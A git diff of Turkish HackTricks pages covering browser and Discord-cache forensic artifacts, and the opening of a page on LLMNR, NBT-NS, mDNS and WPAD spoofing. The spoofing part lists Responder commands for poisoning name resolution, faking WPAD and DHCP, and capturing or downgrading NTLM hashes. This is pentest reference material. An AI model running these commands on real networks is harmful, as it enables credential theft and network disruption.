- **History**: URL'leri, indirmeleri ve arama anahtar kelimelerini içerir. Windows'ta geçmişi okumak için [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) kullanılabilir. "Transition Type" sütunu, linklere kullanıcı tıklamaları, yazılan URL'ler, form gönderimleri ve sayfa yenilemeleri gibi çeşitli anlamlara sahiptir.
|
||||||
- **Cookies**: Çerezleri saklar. İnceleme için [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) mevcuttur.
|
- **Cookies**: Çerezleri depolar. İnceleme için [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) mevcuttur.
|
||||||
- **Cache**: Önbelleğe alınmış verileri tutar. İncelemek için, Windows kullanıcıları [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) kullanabilir.
|
- **Cache**: Önbelleğe alınmış verileri tutar. İncelemek için Windows kullanıcıları [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) kullanabilir.
|
||||||
|
|
||||||
|
Electron tabanlı masaüstü uygulamaları (ör. Discord) da Chromium Simple Cache kullanır ve disk üzerinde zengin artefaktlar bırakır. Bakınız:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
discord-cache-forensics.md
|
||||||
|
{{#endref}}
|
||||||
- **Bookmarks**: Kullanıcı yer imleri.
|
- **Bookmarks**: Kullanıcı yer imleri.
|
||||||
- **Web Data**: Form geçmişini içerir.
|
- **Web Data**: Form geçmişini içerir.
|
||||||
- **Favicons**: Web sitesi favicon'larını saklar.
|
- **Favicons**: Web sitesi favicon'larını depolar.
|
||||||
- **Login Data**: Kullanıcı adları ve şifreler gibi giriş bilgilerini içerir.
|
- **Login Data**: Kullanıcı adları ve parolalar gibi giriş bilgilerini içerir.
|
||||||
- **Current Session**/**Current Tabs**: Mevcut tarayıcı oturumu ve açık sekmeler hakkında veri.
|
- **Current Session**/**Current Tabs**: Mevcut tarayıcı oturumu ve açık sekmeler hakkında veri.
|
||||||
- **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturumda aktif olan siteler hakkında bilgi.
|
- **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturumda aktif olan sitelerle ilgili bilgiler.
|
||||||
- **Extensions**: Tarayıcı uzantıları ve eklentileri için dizinler.
|
- **Extensions**: Tarayıcı eklentileri ve addon'lar için dizinler.
|
||||||
- **Thumbnails**: Web sitesi küçük resimlerini saklar.
|
- **Thumbnails**: Web sitesi küçük resimlerini depolar.
|
||||||
- **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren bilgi zengini bir dosya.
|
- **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren bilgi açısından zengin bir dosya.
|
||||||
- **Browser’ın yerleşik anti-phishing**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` arayın.
|
- **Browser’s built-in anti-phishing**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` çalıştırın. Çıktıda `{"enabled: true,"}` arayın.
|
||||||
|
|
||||||
## **SQLite DB Veri Kurtarma**
|
## **SQLite DB Data Recovery**
|
||||||
|
|
||||||
Önceki bölümlerde gözlemlediğiniz gibi, hem Chrome hem de Firefox **SQLite** veritabanlarını veri saklamak için kullanır. **Silinmiş girişleri kurtarmak için** [**sqlparse**](https://github.com/padfoot999/sqlparse) **veya** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) **aracını kullanmak mümkündür.**
|
Önceki bölümlerde görebileceğiniz gibi, hem Chrome hem de Firefox verileri depolamak için **SQLite** veritabanlarını kullanır. Silinmiş kayıtları kurtarmak için [**sqlparse**](https://github.com/padfoot999/sqlparse) veya [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) araçları kullanılabilir.
|
||||||
|
|
||||||
## **Internet Explorer 11**
|
## **Internet Explorer 11**
|
||||||
|
|
||||||
Internet Explorer 11, verilerini ve meta verilerini çeşitli konumlarda yönetir, bu da saklanan bilgilerin ve ilgili detayların kolay erişim ve yönetim için ayrılmasına yardımcı olur.
|
Internet Explorer 11, verilerini ve meta verilerini çeşitli konumlarda yönetir; bu da saklanan bilgiler ile ilgili ayrıntıların ayrıştırılmasını ve erişimini kolaylaştırır.
|
||||||
|
|
||||||
### Meta Veri Saklama
|
### Metadata Storage
|
||||||
|
|
||||||
Internet Explorer için meta veriler `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` içinde saklanır (VX V01, V16 veya V24 olabilir). Bununla birlikte, `V01.log` dosyası `WebcacheVX.data` ile değişiklik zamanı tutarsızlıklarını gösterebilir ve bu, `esentutl /r V01 /d` kullanarak onarım gerektirdiğini gösterir. Bu meta veriler, bir ESE veritabanında yer alır ve photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosunda, her veri segmentinin saklandığı belirli tablolar veya konteynerler, diğer Microsoft araçları için önbellek detayları da dahil olmak üzere, belirlenebilir.
|
Internet Explorer için meta veriler `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` içinde saklanır (VX V01, V16 veya V24 olabilir). Buna ek olarak, `V01.log` dosyası `WebcacheVX.data` ile zaman damgası uyumsuzlukları gösterebilir; bu durumda `esentutl /r V01 /d` ile onarım gerekebilir. Bu meta veriler, bir ESE veritabanında tutulur ve photorec ile kurtarılabilir, [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) ile incelenebilir. **Containers** tablosunda, her veri bölümünün hangi tablo veya konteynerde saklandığı, ayrıca Skype gibi diğer Microsoft araçlarının önbellek ayrıntıları görülebilir.
|
||||||
|
|
||||||
### Önbellek İncelemesi
|
### Cache Inspection
|
||||||
|
|
||||||
[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) aracı, önbellek incelemesi için kullanılabilir ve önbellek verisi çıkarım klasör konumunu gerektirir. Önbellek için meta veriler, dosya adı, dizin, erişim sayısı, URL kaynağı ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir.
|
Önbelleği incelemek için [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) aracı kullanılabilir; bunun için önbellek verilerinin çıkarıldığı klasörün konumu gereklidir. Önbellek meta verileri dosya adı, dizin, erişim sayısı, URL kaynağı ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını içerir.
|
||||||
|
|
||||||
### Çerez Yönetimi
|
### Cookies Management
|
||||||
|
|
||||||
Çerezler, [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir ve meta veriler isimler, URL'ler, erişim sayıları ve çeşitli zamanla ilgili detayları kapsar. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte bulunur.
|
Çerezler [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) ile incelenebilir; meta veriler isimler, URL'ler, erişim sayıları ve çeşitli zaman bilgilerini kapsar. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte tutulur.
|
||||||
|
|
||||||
### İndirme Detayları
|
### Download Details
|
||||||
|
|
||||||
İndirme meta verileri [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) aracılığıyla erişilebilir ve belirli konteynerler URL, dosya türü ve indirme konumu gibi verileri tutar. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir.
|
İndirme meta verilerine [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) üzerinden ulaşılabilir; belirli konteynerler URL, dosya türü ve indirme konumu gibi verileri tutar. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir.
|
||||||
|
|
||||||
### Tarayıcı Geçmişi
|
### Browsing History
|
||||||
|
|
||||||
Tarayıcı geçmişini gözden geçirmek için [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) kullanılabilir ve çıkarılan geçmiş dosyalarının konumunu ve Internet Explorer için yapılandırmayı gerektirir. Buradaki meta veriler, değişiklik ve erişim zamanlarını, ayrıca erişim sayısını içerir. Geçmiş dosyaları `%userprofile%\Appdata\Local\Microsoft\Windows\History` içinde yer alır.
|
Tarama geçmişini gözden geçirmek için [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) kullanılabilir; bunun için çıkarılmış geçmiş dosyalarının konumu ve Internet Explorer yapılandırması gereklidir. Buradaki meta veriler değiştirme ve erişim zamanlarını ile erişim sayısını içerir. Geçmiş dosyaları `%userprofile%\Appdata\Local\Microsoft\Windows\History` yolunda yer alır.
|
||||||
|
|
||||||
### Yazılan URL'ler
|
### Typed URLs
|
||||||
|
|
||||||
Yazılan URL'ler ve kullanım zamanları, `NTUSER.DAT` içinde `Software\Microsoft\InternetExplorer\TypedURLs` ve `Software\Microsoft\InternetExplorer\TypedURLsTime` altında saklanır ve kullanıcının girdiği son 50 URL ve son giriş zamanlarını takip eder.
|
Yazılan URL'ler ve kullanım zamanları, kayıt defterinde `NTUSER.DAT` altında `Software\Microsoft\InternetExplorer\TypedURLs` ve `Software\Microsoft\InternetExplorer\TypedURLsTime` yollarında saklanır; bu kayıtlar kullanıcının girilen son 50 URL'sini ve son giriş zamanlarını takip eder.
|
||||||
|
|
||||||
## Microsoft Edge
|
## Microsoft Edge
|
||||||
|
|
||||||
Microsoft Edge, kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` içinde saklar. Çeşitli veri türleri için yollar:
|
Microsoft Edge kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` içinde saklar. Çeşitli veri türleri için yollar:
|
||||||
|
|
||||||
- **Profil Yolu**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||||
- **Geçmiş, Çerezler ve İndirmeler**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||||
- **Ayarlar, Yer İmleri ve Okuma Listesi**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
- **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||||
- **Önbellek**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||||
- **Son Aktif Oturumlar**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
- **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||||
|
|
||||||
## Safari
|
## Safari
|
||||||
|
|
||||||
Safari verileri `/Users/$User/Library/Safari` içinde saklanır. Ana dosyalar şunlardır:
|
Safari verileri `/Users/$User/Library/Safari` altında saklanır. Önemli dosyalar şunlardır:
|
||||||
|
|
||||||
- **History.db**: `history_visits` ve `history_items` tablolarını içerir ve URL'ler ile ziyaret zaman damgalarını barındırır. Sorgulamak için `sqlite3` kullanın.
|
- **History.db**: `history_visits` ve `history_items` tablolarını içerir; URL'ler ve ziyaret zaman damgaları buradadır. Sorgulamak için `sqlite3` kullanın.
|
||||||
- **Downloads.plist**: İndirilen dosyalar hakkında bilgi.
|
- **Downloads.plist**: İndirilen dosyalar hakkında bilgi.
|
||||||
- **Bookmarks.plist**: Yerleştirilen URL'leri saklar.
|
- **Bookmarks.plist**: Yer işaretlenen URL'leri depolar.
|
||||||
- **TopSites.plist**: En sık ziyaret edilen siteler.
|
- **TopSites.plist**: En sık ziyaret edilen siteler.
|
||||||
- **Extensions.plist**: Safari tarayıcı uzantılarının listesi. Almak için `plutil` veya `pluginkit` kullanın.
|
- **Extensions.plist**: Safari tarayıcı uzantıları listesi. Erişim için `plutil` veya `pluginkit` kullanın.
|
||||||
- **UserNotificationPermissions.plist**: Bildirim göndermeye izin verilen alanlar. Ayrıştırmak için `plutil` kullanın.
|
- **UserNotificationPermissions.plist**: Bildirim göndermesine izin verilen alan adları. `plutil` ile ayrıştırın.
|
||||||
- **LastSession.plist**: Son oturumdan sekmeler. Ayrıştırmak için `plutil` kullanın.
|
- **LastSession.plist**: Son oturumdan sekmeler. `plutil` ile ayrıştırın.
|
||||||
- **Browser’ın yerleşik anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` kullanarak kontrol edin. 1 yanıtı, özelliğin aktif olduğunu gösterir.
|
- **Browser’s built-in anti-phishing**: Kontrol etmek için `defaults read com.apple.Safari WarnAboutFraudulentWebsites` komutunu kullanın. Çıktı 1 ise özellik etkin demektir.
|
||||||
|
|
||||||
## Opera
|
## Opera
|
||||||
|
|
||||||
Opera'nın verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde yer alır ve geçmiş ile indirmeler için Chrome'un formatını paylaşır.
|
Opera verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde bulunur ve geçmiş ile indirmeler için Chrome ile aynı formatı paylaşır.
|
||||||
|
|
||||||
- **Browser’ın yerleşik anti-phishing**: `Preferences` dosyasında `fraud_protection_enabled` değerinin `true` olarak ayarlandığını kontrol ederek doğrulayın.
|
- **Browser’s built-in anti-phishing**: Preferences dosyasında `fraud_protection_enabled` değerinin `true` olarak ayarlanıp ayarlanmadığını `grep` ile kontrol edin.
|
||||||
|
|
||||||
Bu yollar ve komutlar, farklı web tarayıcıları tarafından saklanan tarayıcı verilerine erişim ve anlama açısından kritik öneme sahiptir.
|
Bu yollar ve komutlar, farklı web tarayıcıları tarafından saklanan tarama verilerine erişmek ve bunları anlamak için kritik öneme sahiptir.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
@ -159,4 +165,5 @@ Bu yollar ve komutlar, farklı web tarayıcıları tarafından saklanan tarayıc
|
|||||||
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
|
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
|
||||||
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
|
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -0,0 +1,89 @@
|
|||||||
|
# Discord Cache Forensics (Chromium Simple Cache)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
Bu sayfa, Discord Desktop önbellek artifaktlarını triage ederek dışarı aktarılmış dosyaları, webhook uç noktalarını ve aktivite zaman çizelgelerini nasıl kurtarabileceğinizi özetler. Discord Desktop bir Electron/Chromium uygulamasıdır ve disk üzerinde Chromium Simple Cache kullanır.
|
||||||
|
|
||||||
|
## Nerelere bakılmalı (Windows/macOS/Linux)
|
||||||
|
|
||||||
|
- Windows: %AppData%\discord\Cache\Cache_Data
|
||||||
|
- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
|
||||||
|
- Linux: ~/.config/discord/Cache/Cache_Data
|
||||||
|
|
||||||
|
Cache_Data içindeki önemli dosya yapıları:
|
||||||
|
- index: Simple Cache index database
|
||||||
|
- data_#: Binary cache block files that can contain multiple cached objects
|
||||||
|
- f_######: Individual cached entries stored as standalone files (often larger bodies)
|
||||||
|
|
||||||
|
Not: Discord içinde mesajları/kanalları/sunucuları silmek bu yerel önbelleği temizlemez. Önbelleğe alınan öğeler genellikle kalır ve dosya zaman damgaları kullanıcı etkinliğiyle hizalanır; bu da zaman çizelgesi yeniden inşasını mümkün kılar.
|
||||||
|
|
||||||
|
## Neler kurtarılabilir
|
||||||
|
|
||||||
|
- cdn.discordapp.com/media.discordapp.net üzerinden alınan dışarı aktarılmış ekler ve küçük resimler
|
||||||
|
- Görseller, GIF'ler, videolar (ör. .jpg, .png, .gif, .webp, .mp4, .webm)
|
||||||
|
- Webhook URL'leri (https://discord.com/api/webhooks/…)
|
||||||
|
- Discord API çağrıları (https://discord.com/api/vX/…)
|
||||||
|
- beaconing/exfil etkinliğini ilişkilendirmek ve istihbarat eşleştirmesi için medyayı hashlemek açısından faydalı
|
||||||
|
|
||||||
|
## Hızlı triage (manuel)
|
||||||
|
|
||||||
|
- Yüksek sinyal taşıyan artifaktlar için önbellekte arama:
|
||||||
|
- Webhook uç noktaları:
|
||||||
|
- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
|
||||||
|
- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
|
||||||
|
- Ek/ CDN URL'leri:
|
||||||
|
- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
|
||||||
|
- Discord API çağrıları:
|
||||||
|
- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
|
||||||
|
- Önbelleğe alınan kayıtları değiştirilme zamanına göre sıralayarak hızlı bir zaman çizelgesi oluşturun (mtime nesnenin önbelleğe alındığı zamanı yansıtır):
|
||||||
|
- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
|
||||||
|
|
||||||
|
## f_* girişlerini ayrıştırma (HTTP gövdesi + başlıklar)
|
||||||
|
|
||||||
|
f_ ile başlayan dosyalar HTTP yanıt başlıklarını ve ardından gövdeyi içerir. Başlık bloğu tipik olarak \r\n\r\n ile sona erer. Faydalı yanıt başlıkları şunlardır:
|
||||||
|
- Content-Type: Medya türünü çıkarsamak için
|
||||||
|
- Content-Location or X-Original-URL: Önizleme/korelasyon için orijinal uzak URL
|
||||||
|
- Content-Encoding: gzip/deflate/br (Brotli) olabilir
|
||||||
|
|
||||||
|
Medya, başlıkları gövdeden ayırarak ve isteğe bağlı olarak Content-Encoding'e göre açarak çıkarılabilir. Content-Type yoksa magic-byte sniffing faydalıdır.
|
||||||
|
|
||||||
|
## Automated DFIR: Discord Forensic Suite (CLI/GUI)
|
||||||
|
|
||||||
|
- Repo: https://github.com/jwdfir/discord_cache_parser
|
||||||
|
- Function: Recursively scans Discord’s cache folder, finds webhook/API/attachment URLs, parses f_* bodies, optionally carves media, and outputs HTML + CSV timeline reports with SHA‑256 hashes.
|
||||||
|
|
||||||
|
Example CLI usage:
|
||||||
|
```bash
|
||||||
|
# Acquire cache (copy directory for offline parsing), then run:
|
||||||
|
python3 discord_forensic_suite_cli \
|
||||||
|
--cache "%AppData%\discord\Cache\Cache_Data" \
|
||||||
|
--outdir C:\IR\discord-cache \
|
||||||
|
--output discord_cache_report \
|
||||||
|
--format both \
|
||||||
|
--timeline \
|
||||||
|
--extra \
|
||||||
|
--carve \
|
||||||
|
--verbose
|
||||||
|
```
|
||||||
|
Anahtar seçenekler:
|
||||||
|
- --cache: Cache_Data dizinine giden yol
|
||||||
|
- --format html|csv|both
|
||||||
|
- --timeline: Değiştirilme zamanına (modified time) göre sıralanmış bir CSV timeline üretir
|
||||||
|
- --extra: Kardeş Code Cache ve GPUCache'i de tara
|
||||||
|
- --carve: regex eşleşmelerine yakın ham byte'lardan medyayı carve eder (görüntü/video)
|
||||||
|
- Output: HTML raporu, CSV raporu, CSV timeline ve carved/extracted dosyalar içeren bir medya klasörü
|
||||||
|
|
||||||
|
## Analist ipuçları
|
||||||
|
|
||||||
|
- f_* ve data_* dosyalarının modified time (mtime) değerlerini kullanıcı/saldırgan etkinlik pencereleriyle korelasyonlayarak bir zaman çizelgesi oluşturun.
|
||||||
|
- Kurtarılan medyaların hash'ini (SHA-256) alın ve known-bad veya exfil dataset'leriyle karşılaştırın.
|
||||||
|
- Çıkarılan webhook URL'leri liveness için test edilebilir veya rotated edilebilir; bunları blocklists ve retro-hunting proxy'lerine eklemeyi düşünün.
|
||||||
|
- Cache, sunucu tarafında “wiping” sonrasında kalıcıdır. Acquisition mümkünse, tüm Cache dizinini ve ilgili kardeş cache'leri (Code Cache, GPUCache) toplayın.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
|
||||||
|
- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
|
||||||
|
- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
@ -1,77 +1,77 @@
|
|||||||
# LLMNR, NBT-NS, mDNS/DNS ve WPAD ile Relay Saldırılarını Taklit Etme
|
# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Ağ Protokolleri
|
## Ağ Protokolleri
|
||||||
|
|
||||||
### Yerel Ana Bilgisayar Çözümleme Protokolleri
|
### Yerel Host Çözümleme Protokolleri
|
||||||
|
|
||||||
- **LLMNR, NBT-NS ve mDNS**:
|
- **LLMNR, NBT-NS, and mDNS**:
|
||||||
- Microsoft ve diğer işletim sistemleri, DNS başarısız olduğunda yerel ad çözümlemesi için LLMNR ve NBT-NS kullanır. Benzer şekilde, Apple ve Linux sistemleri mDNS kullanır.
|
- Microsoft ve diğer işletim sistemleri DNS başarısız olduğunda yerel isim çözümü için LLMNR ve NBT-NS kullanır. Benzer şekilde, Apple ve Linux sistemleri mDNS kullanır.
|
||||||
- Bu protokoller, UDP üzerinden kimlik doğrulaması yapılmamış, yayın doğası nedeniyle dinleme ve taklit edilme riskine sahiptir.
|
- Bu protokoller, UDP üzerinden kimlik doğrulaması olmadan ve broadcast (yayın) şeklinde çalıştıkları için dinleme ve spoofing'e karşı hassastır.
|
||||||
- [Responder](https://github.com/lgandx/Responder), bu protokolleri sorgulayan ana bilgisayarlara sahte yanıtlar göndererek hizmetleri taklit etmek için kullanılabilir.
|
- Responder, bu protokolleri sorgulayan hostlara sahte yanıtlar göndererek hizmetleri taklit etmek için kullanılabilir.
|
||||||
- Responder kullanarak hizmet taklidi hakkında daha fazla bilgi [burada](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) bulunabilir.
|
- Responder kullanarak hizmet taklidi hakkında daha fazla bilgiye [buradan](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ulaşılabilir.
|
||||||
|
|
||||||
### Web Proxy Otomatik Keşif Protokolü (WPAD)
|
### Web Proxy Auto-Discovery Protocol (WPAD)
|
||||||
|
|
||||||
- WPAD, tarayıcıların proxy ayarlarını otomatik olarak keşfetmesine olanak tanır.
|
- WPAD, tarayıcıların proxy ayarlarını otomatik olarak keşfetmesini sağlar.
|
||||||
- Keşif, DHCP, DNS veya DNS başarısız olursa LLMNR ve NBT-NS'ye geri dönerek sağlanır.
|
- Keşif DHCP, DNS aracılığıyla ya da DNS başarısız olursa LLMNR ve NBT-NS'e geri dönerek gerçekleştirilir.
|
||||||
- Responder, kötü niyetli WPAD sunucularına yönlendirerek WPAD saldırılarını otomatikleştirebilir.
|
- Responder, WPAD saldırılarını otomatikleştirerek istemcileri kötü amaçlı WPAD sunucularına yönlendirebilir.
|
||||||
|
|
||||||
### Protokol Zehirlenmesi için Responder
|
### Responder for Protocol Poisoning
|
||||||
|
|
||||||
- **Responder**, LLMNR, NBT-NS ve mDNS sorgularını zehirlemek için kullanılan bir araçtır, sorgu türlerine göre seçici yanıt vererek, esas olarak SMB hizmetlerini hedef alır.
|
- **Responder** is a tool used for poisoning LLMNR, NBT-NS, and mDNS queries, selectively responding based on query types, primarily targeting SMB services.
|
||||||
- Kali Linux'ta önceden yüklenmiştir, `/etc/responder/Responder.conf` dosyasında yapılandırılabilir.
|
- Kali Linux'ta önceden yüklü gelir, `/etc/responder/Responder.conf` dosyasından yapılandırılabilir.
|
||||||
- Responder, yakalanan hash'leri ekranda gösterir ve bunları `/usr/share/responder/logs` dizinine kaydeder.
|
- Responder, yakalanan hashleri ekranda gösterir ve `/usr/share/responder/logs` dizinine kaydeder.
|
||||||
- Hem IPv4 hem de IPv6'yı destekler.
|
- Hem IPv4 hem de IPv6'yı destekler.
|
||||||
- Responder'ın Windows sürümü [burada](https://github.com/lgandx/Responder-Windows) mevcuttur.
|
- Responder'ın Windows sürümü [burada](https://github.com/lgandx/Responder-Windows) mevcuttur.
|
||||||
|
|
||||||
#### Responder'ı Çalıştırma
|
#### Running Responder
|
||||||
|
|
||||||
- Varsayılan ayarlarla Responder'ı çalıştırmak için: `responder -I <Interface>`
|
- Varsayılan ayarlarla Responder'ı çalıştırmak için: `responder -I <Interface>`
|
||||||
- Daha agresif sorgulama için (potansiyel yan etkilerle birlikte): `responder -I <Interface> -P -r -v`
|
- Daha agresif tarama için (yan etkiler olabilir): `responder -I <Interface> -P -r -v`
|
||||||
- NTLMv1 zorlukları/yanıtlarını daha kolay kırmak için yakalamak için teknikler: `responder -I <Interface> --lm --disable-ess`
|
- Kolay kırma için NTLMv1 challenge/response yakalama teknikleri: `responder -I <Interface> --lm --disable-ess`
|
||||||
- WPAD taklidi etkinleştirilebilir: `responder -I <Interface> --wpad`
|
- WPAD taklidini etkinleştirmek için: `responder -I <Interface> --wpad`
|
||||||
- NetBIOS istekleri saldırganın IP'sine çözülebilir ve bir kimlik doğrulama proxy'si kurulabilir: `responder.py -I <interface> -Pv`
|
- NetBIOS istekleri saldırganın IP'sine yönlendirilebilir ve bir authentication proxy kurulabilir: `responder.py -I <interface> -Pv`
|
||||||
|
|
||||||
### Responder ile DHCP Zehirlenmesi
|
### DHCP Poisoning with Responder
|
||||||
|
|
||||||
- DHCP yanıtlarını taklit etmek, bir kurbanın yönlendirme bilgilerini kalıcı olarak zehirleyebilir ve ARP zehirlenmesine göre daha gizli bir alternatif sunar.
|
- DHCP yanıtlarını spoofing yaparak taklit etmek, kurbanın routing bilgilerini kalıcı olarak zehirleyebilir; bu, ARP poisoning'e göre daha gizli bir alternatiftir.
|
||||||
- Hedef ağın yapılandırması hakkında kesin bilgi gerektirir.
|
- Hedef ağın yapılandırması hakkında kesin bilgi gerektirir.
|
||||||
- Saldırıyı çalıştırma: `./Responder.py -I eth0 -Pdv`
|
- Saldırıyı çalıştırmak için: `./Responder.py -I eth0 -Pdv`
|
||||||
- Bu yöntem, NTLMv1/2 hash'lerini etkili bir şekilde yakalayabilir, ancak ağ kesintisini önlemek için dikkatli bir şekilde ele alınmalıdır.
|
- Bu yöntem NTLMv1/2 hashlerini etkili şekilde yakalayabilir, ancak ağ kesintisini önlemek için dikkatli kullanılmalıdır.
|
||||||
|
|
||||||
### Responder ile Kimlik Bilgilerini Yakalama
|
### Capturing Credentials with Responder
|
||||||
|
|
||||||
- Responder, yukarıda belirtilen protokolleri kullanarak hizmetleri taklit edecek ve bir kullanıcı taklit edilen hizmetlere kimlik doğrulama yapmaya çalıştığında kimlik bilgilerini (genellikle NTLMv2 Challenge/Response) yakalayacaktır.
|
- Responder, yukarıda bahsedilen protokolleri kullanarak hizmetleri taklit eder ve bir kullanıcı taklit edilen hizmetlere kimlik doğrulaması yapmaya çalıştığında kimlik bilgilerini (genellikle NTLMv2 Challenge/Response) yakalar.
|
||||||
- Daha kolay kimlik bilgisi kırma için NetNTLMv1'e düşürme veya ESS'yi devre dışı bırakma girişimleri yapılabilir.
|
- Kimlik bilgilerini daha kolay kırmak için NetNTLMv1'e düşürme veya ESS'i devre dışı bırakma girişimleri yapılabilir.
|
||||||
|
|
||||||
Bu tekniklerin yasal ve etik bir şekilde, uygun yetkilendirme ile uygulanması ve kesinti veya yetkisiz erişimden kaçınılması önemlidir.
|
Bu tekniklerin uygulanmasının yasal ve etik çerçevede, uygun yetkilendirme sağlanarak ve kesinti veya yetkisiz erişimden kaçınılarak yapılması kritik önem taşır.
|
||||||
|
|
||||||
## Inveigh
|
## Inveigh
|
||||||
|
|
||||||
